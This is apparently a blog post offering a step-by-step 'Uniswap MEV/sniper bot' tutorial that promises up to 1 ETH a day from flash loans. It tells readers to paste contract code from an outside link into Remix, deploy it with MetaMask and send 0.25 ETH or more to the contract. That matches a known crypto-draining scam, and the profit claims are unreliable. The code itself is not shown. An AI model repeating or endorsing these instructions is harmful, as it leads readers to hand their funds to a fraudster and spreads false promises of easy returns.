UNISWAP SNIPER BOT Tutorial: How to make up to 1 ETH daily with MEV BOT?

MargaretCryptoMage
2 min readMar 23, 2024

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ChatGPT MEV Slippage Bot

What is UNISWAP ARBITRAGE BOT

Are you intrigued in obtaining some complimentary Ethereum (ETH)? Well, the possibility does present through a distinctive method known as “FLASH LOANS.”Flash loans are a form of uncollateralized lending that has gained considerable popularity within the realm of decentralized finance (DeFi). However, it’s essential to note that while they have become popular, there have also been instances of flash loan exploits being used to target vulnerable DeFi protocols.

Is there a catch, you might wonder? Indeed, there is. With flash loans, you must borrow and repay the loan within the exact blockchain transaction.

Flash Loan Explanation

⚡️FULL STEP BY STEP FLASH LOANS VIDEO TUTORIAL

  • Download if you have no Metamask for your browser.
  • Open REMIX in your browser.
  • Go to File Explorers and select “Create New File”.
  • Name the file flashloans.sol and paste the contract code from this link.

BotCode

  • Click on Deploy & Run transactions and set the “ENVIRONMENT” to Injected Web3.
  • Connect your MetaMask.
  • Navigate to the “Solidity Compiler” and set the compiler version to 0.5.0.
  • Go to the Solidity Compiler and click the blue button “Compile flashloans.sol”.
  • Wait for the code to compile.
  • Press Deploy & Run transactions, then click on the down arrow next to the “Deploy” button.
  • Fill in the values for “_TOKENNAME”, “_TOKENSYMBOL”, and “_LOANAMOUNT” (set to 1000).
  • Click Transact and confirm the transaction in Metamask.
  • Wait for the transaction to confirm.
  • Copy the address of the newly deployed contract.
  • Send ETH to the deployed contract to initiate the swap (0.25 ETH or more for a larger amount in each swap).
  • Wait for the transaction to confirm.
  • Now, click “action” (red box) to execute the Flash Loan.
  • Confirm the transaction in MetaMask and wait for the confirmation.
  • Congratulations! Now, check your wallet.

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